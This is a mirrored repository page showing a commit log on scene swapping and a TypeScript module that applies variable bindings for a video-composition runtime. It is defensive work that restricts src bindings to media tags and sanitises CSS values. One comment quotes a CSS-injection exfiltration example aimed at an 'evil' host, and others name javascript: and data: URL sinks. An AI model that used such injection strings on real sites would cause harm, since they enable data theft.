mirror of
https://github.com/heygen-com/hyperframes.git
synced 2026-11-19 00:18:27 +00:00
* perf(runtime): swap edited scenes in place from a rebuilt preview document window.__hfSwapScenes(html) compares the preview manifests. When the rebuilt document differs only inside existing scenes, it replaces each changed scene's host, styles and scripts, drops the old scene timelines (nested ones included), reruns the passes boot runs on scene DOM, releases the old media, rebinds and keeps the playhead. Anything else rejects before touching the film, so the caller does its full reload. * fix(runtime): refuse unsafe scene swaps and redraw the swapped scene like a seek The swap now refuses scenes marked unswappable or with more than one host, keeps the style order, lets adapters find the new scene, redraws through the transport seek and rejects when torn down mid-swap. * fix(runtime): scope swap caption overrides to the swapped scene and swap only manifest pages Other scenes kept re-dimmed caption words after a swap, and pages without a scene manifest offered a swap that could only be refused. * fix(runtime): repaint caption colours that were overridden after their tween rendered A swapped scene, or a film reloaded mid-way, rendered its caption tweens before the overrides rewrote their colours, so words kept the old colour. * fix(runtime): repaint caption colours of a swapped scene the playhead has passed * refactor(core): cut scene swap comments to what names and types do not say * fix(runtime): a scene swap keeps other media loaded and waits for new media by reloading * fix(runtime): a scene swap resolves bound and proxied media before refusing The new-media check compared the new scene raw src against the live DOM, which variable bindings and the media proxy have already rewritten. A scene with a customised data-var-src logo, or a proxied video, was refused on every edit. Both sides now resolve src the same way: the bound variable value, else the src attribute before any proxy swap, which the proxy now records where it rewrites the src. * fix(runtime): a scene swap binds variables only in the swapped scene, before media setup The swap re-ran variable bindings over the whole document after binding media, so a proxied video in any scene got its original, undecodable src back and a bound text in an untouched scene was rewritten. Bindings now run only inside the swapped hosts and before media binding, as boot does, and the src guard compares against the src the element had before its proxy. * fix(runtime): a scene swap keeps unchanged video and audio playing A text edit beside a video rebuilt the video from scratch, so it went blank until it loaded again. A video or audio in the edited scene whose src matches one in the old scene (same src, same order among those) is now the old element, moved into the new scene and given the new element attributes and children, except src and the runtime-owned preload. * fix(runtime): a scene swap refuses more new-media forms and names the scene The new-media check missed uppercase URL(), image-set() and @import strings, SVG image href and xlink:href, and object data, so a new asset could pop in after the swap. Its refusal now says the media is new to this scene, which is what it checks. The existing inline style url(), poster and srcset checks get tests of their own. * fix(runtime): a scene swap loads caption overrides before changing the page The swap wrote the new scene first and only then fetched caption-overrides.json, so a stalled request left the preview half swapped when the caller gave up and reloaded. The overrides are now fetched before the first write and applied from the fetched data. A swap that another swap finished first while it waited now refuses, since its document is the older one. * refactor(runtime): keep the proxy src record within the comment share * fix(runtime): a scene swap keeps media only when the edit left it as written and ungraded Keeping a live video or audio and copying the new attributes onto it was not the same as a fresh load: muted only sets the initial state, and a graded video left its grading canvas in the discarded scene, so it went black. The swap now keeps an element only when its authored markup, captured before the runtime writes to it, equals the new one, and the grading runtime says it is not graded. Anything else is rebuilt fresh; the attribute copy is gone. * fix(runtime): a waiting scene swap refuses after any other swap changed the page The check compared the scene manifest, which misses a scene changed and changed back while a captioned swap waited for its overrides; that swap then went on with stale elements and wrote a wrong manifest. A generation count the swap owns now moves on every page change by a swap, so any intervening swap makes the waiting one refuse. * fix(runtime): a scene swap warns about a non-media data-var-src once, as a load does The new-media scan resolved every bound src through the warning path, so each swap logged the ignored data-var-src again for the old and the new element. The scan now resolves silently and only the bindings pass warns, once for the new element. * refactor(runtime): keep the grading query within the comment share * fix(runtime): a scene swap replaces each of a scene's styles in its own place The bundle can now give one scene several style runs separated by another scene's, when its nested scene comes later in source order. The swap put all new styles before the first old one, so a later same-named @keyframes moved ahead of the other scene's and the cascade differed from a fresh load and the render. Each new style now replaces its old counterpart in place, and a scene whose style count differs is refused before any write. * test(core): check the bundled stylesheets, not the inlined runtime, for a leftover @import * fix(runtime): a video kept through a scene swap starts its new tweens from its authored values * fix(runtime): a from() caption colour tween with an override still lights its word up * fix(runtime): a scene swap reverts the old timelines, so a kept video shows the edited CSS * fix(runtime): a caption word with a dim-colour override still lights up when spoken * fix(runtime): a word whose colour override lands late still looks dim before it is spoken * fix(runtime): a caption override keeps class highlights and resolves var() colours per word
196 lines
8.1 KiB
TypeScript
196 lines
8.1 KiB
TypeScript
/**
|
|
* Declarative variable bindings — the no-script consumption channel for
|
|
* composition variables (values are fixed for the page's lifetime, so this is
|
|
* seek-safe and deterministic):
|
|
*
|
|
* - `data-var-src="id"` — sets the element's `src` from the variable value
|
|
* (a URL string or an image value `{url}`). Only allowed on media elements
|
|
* (img/video/audio/source) and only for safe URL protocols — a src on a
|
|
* script-executing tag or a `javascript:`/`data:text/html` value is refused.
|
|
* The authored src stays as the fallback when the variable resolves to nothing.
|
|
* - `data-var-text="id"` — sets the element's OWN text from a scalar variable
|
|
* value. Elements with element children keep them: only the direct text
|
|
* node is replaced, mirroring the SDK's setOwnText semantics — a text
|
|
* binding must never delete nested clips or animation targets.
|
|
* - Every scalar variable (and a font value's family name) is applied as a
|
|
* `--{id}` CSS custom property on its composition root, so CSS bindings
|
|
* like `color: var(--accent)` respond to render/preview overrides instead
|
|
* of only the persisted default.
|
|
*
|
|
* Values resolve against the element's owning composition — the same scope
|
|
* chain the color-grading runtime uses: `__hfVariablesByComp[compId]` for
|
|
* inlined sub-compositions, then the top-level merged `getVariables()`.
|
|
*
|
|
* Applied at init AND re-applied after the composition loader inlines
|
|
* external / template sub-compositions (their DOM and per-instance scoped
|
|
* values don't exist at init). Idempotent: re-applying writes the same
|
|
* values.
|
|
*/
|
|
|
|
import { readVariablesForElement } from "./variableScope";
|
|
import {
|
|
isScalarVariableValue as isScalar,
|
|
isSafeMediaUrl,
|
|
} from "@hyperframes/parsers/composition";
|
|
import { isHtmlElement } from "./domRealm";
|
|
import { unproxiedSrc } from "./proxySrc";
|
|
|
|
// data-var-src only rebinds media `src` on media elements. A user-controlled
|
|
// variable value assigned to a src is an XSS surface on tags whose src executes
|
|
// (`<iframe src="javascript:…">`, `<script src="data:…">`, `<embed>`), so the
|
|
// binding is scoped to elements where `src` is purely a media reference.
|
|
const VAR_SRC_TAGS = new Set(["img", "video", "audio", "source"]);
|
|
|
|
function resolveUrl(value: unknown): string | null {
|
|
if (typeof value === "string" && value.length > 0) return value;
|
|
if (value !== null && typeof value === "object") {
|
|
const url = (value as { url?: unknown }).url;
|
|
if (typeof url === "string" && url.length > 0) return url;
|
|
}
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* Strip characters that could smuggle additional declarations or markup out of
|
|
* a var() substitution site. A scalar value folded into `background: var(--x)`
|
|
* or `background-image: url(var(--x))` must not be able to close the declaration
|
|
* and inject a new one (`red; background: url(//evil?data=…)`) — none of these
|
|
* characters is legal in a scalar variable value (string, number, color, font
|
|
* family), so removing them is lossless for real inputs and neutralizes the
|
|
* declaration/URL-exfiltration channel.
|
|
*
|
|
* Exported because the static compiler bakes the same scalars into a stylesheet
|
|
* at build time and has to reach the same result: a value that the runtime
|
|
* strips but a compile-time emit passes through would make the rendered MP4
|
|
* differ from the preview, which is the more dangerous of the two directions.
|
|
*/
|
|
export function sanitizeCssValue(value: string): string {
|
|
return value.replace(/[;{}<>\r\n]/g, "");
|
|
}
|
|
|
|
/** CSS custom-property value for a variable, or null when not CSS-applicable. */
|
|
function cssValueFor(value: unknown): string | null {
|
|
if (isScalar(value)) return String(value);
|
|
if (value !== null && typeof value === "object") {
|
|
// Font values apply their family name; the face itself must be loaded by
|
|
// the composition (or the media pipeline).
|
|
const name = (value as { name?: unknown }).name;
|
|
if (typeof name === "string" && name.length > 0) return name;
|
|
}
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* Per-run memo of scope element → resolved values, so N bound elements in
|
|
* one scope pay for one resolution (the top-level path re-parses the
|
|
* declarations attribute on every getVariables() call).
|
|
*/
|
|
type ScopeValuesCache = Map<Element | null, Record<string, unknown>>;
|
|
|
|
function valuesForElement(el: Element, cache: ScopeValuesCache): Record<string, unknown> {
|
|
const scope = el.closest("[data-composition-id]");
|
|
const cached = cache.get(scope);
|
|
if (cached) return cached;
|
|
const values = readVariablesForElement(el);
|
|
cache.set(scope, values);
|
|
return values;
|
|
}
|
|
|
|
/**
|
|
* Replace the element's own text while preserving element children (nested
|
|
* clips, animation-target spans). Mirrors the SDK's setOwnText: write the
|
|
* first direct text node, clear the others; append when none exists.
|
|
*/
|
|
function setOwnTextPreservingChildren(el: Element, text: string): void {
|
|
if (el.childElementCount === 0) {
|
|
el.textContent = text;
|
|
return;
|
|
}
|
|
let written = false;
|
|
for (const node of Array.from(el.childNodes)) {
|
|
if (node.nodeType !== Node.TEXT_NODE) continue;
|
|
node.nodeValue = written ? "" : text;
|
|
written = true;
|
|
}
|
|
if (!written) {
|
|
el.insertBefore(el.ownerDocument.createTextNode(text), el.firstChild);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Composition root, matching the SDK's findRoot chain exactly — the SDK
|
|
* persists `--{id}` defaults on this element, so the runtime must write
|
|
* overrides to the SAME element or an inline default on a descendant would
|
|
* shadow an override applied higher up.
|
|
*/
|
|
function findTopRoot(doc: Document): Element | null {
|
|
return (
|
|
doc.querySelector("[data-hf-root]") ??
|
|
doc.getElementById("stage") ??
|
|
doc.body?.firstElementChild ??
|
|
doc.body
|
|
);
|
|
}
|
|
|
|
// Custom props inherit, so each composition root carries its own scope's values.
|
|
function applyCssCustomProperties(roots: Iterable<Element>, cache: ScopeValuesCache): void {
|
|
for (const root of new Set(roots)) {
|
|
const values = valuesForElement(root, cache);
|
|
for (const [id, value] of Object.entries(values)) {
|
|
const css = cssValueFor(value);
|
|
if (css !== null && isHtmlElement(root)) {
|
|
root.style.setProperty(`--${id}`, sanitizeCssValue(css));
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
function variableSrcFor(el: Element, cache: ScopeValuesCache, warn = true): string | null {
|
|
const id = el.getAttribute("data-var-src")?.trim();
|
|
if (!id) return null;
|
|
// Only media elements may take a variable-driven src (see VAR_SRC_TAGS) — a
|
|
// src on <iframe>/<script>/<embed> is a code-execution sink, not a media ref.
|
|
if (!VAR_SRC_TAGS.has(el.tagName.toLowerCase())) {
|
|
if (warn)
|
|
console.warn(
|
|
`[hyperframes] Ignoring data-var-src on <${el.tagName.toLowerCase()}>: variable-bound src is only allowed on ${Array.from(VAR_SRC_TAGS).join("/")}.`,
|
|
);
|
|
return null;
|
|
}
|
|
const url = resolveUrl(valuesForElement(el, cache)[id]);
|
|
if (url === null) return null;
|
|
if (!isSafeMediaUrl(url)) {
|
|
if (warn) console.warn(`[hyperframes] Ignoring data-var-src="${id}": unsafe URL protocol.`);
|
|
return null;
|
|
}
|
|
return url;
|
|
}
|
|
|
|
/** The src an element loads, preview proxy aside: its bound variable's value, else its attribute. */
|
|
export function unproxiedMediaSrc(el: Element): string | null {
|
|
return variableSrcFor(el, new Map(), false) ?? unproxiedSrc(el);
|
|
}
|
|
|
|
/** Applies the bindings in `doc`, or only those inside `within` and `within` itself. */
|
|
export function applyVariableBindings(doc: Document, within?: Element): void {
|
|
const cache: ScopeValuesCache = new Map();
|
|
const all = (selector: string): Element[] =>
|
|
within
|
|
? [...(within.matches(selector) ? [within] : []), ...within.querySelectorAll(selector)]
|
|
: Array.from(doc.querySelectorAll(selector));
|
|
const topRoot = within ? null : findTopRoot(doc);
|
|
applyCssCustomProperties([...(topRoot ? [topRoot] : []), ...all("[data-composition-id]")], cache);
|
|
|
|
for (const el of all("[data-var-src]")) {
|
|
const url = variableSrcFor(el, cache);
|
|
if (url !== null && unproxiedSrc(el) !== url) el.setAttribute("src", url);
|
|
}
|
|
|
|
for (const el of all("[data-var-text]")) {
|
|
const id = el.getAttribute("data-var-text")?.trim();
|
|
if (!id) continue;
|
|
const value = valuesForElement(el, cache)[id];
|
|
if (isScalar(value)) setOwnTextPreservingChildren(el, String(value));
|
|
}
|
|
}
|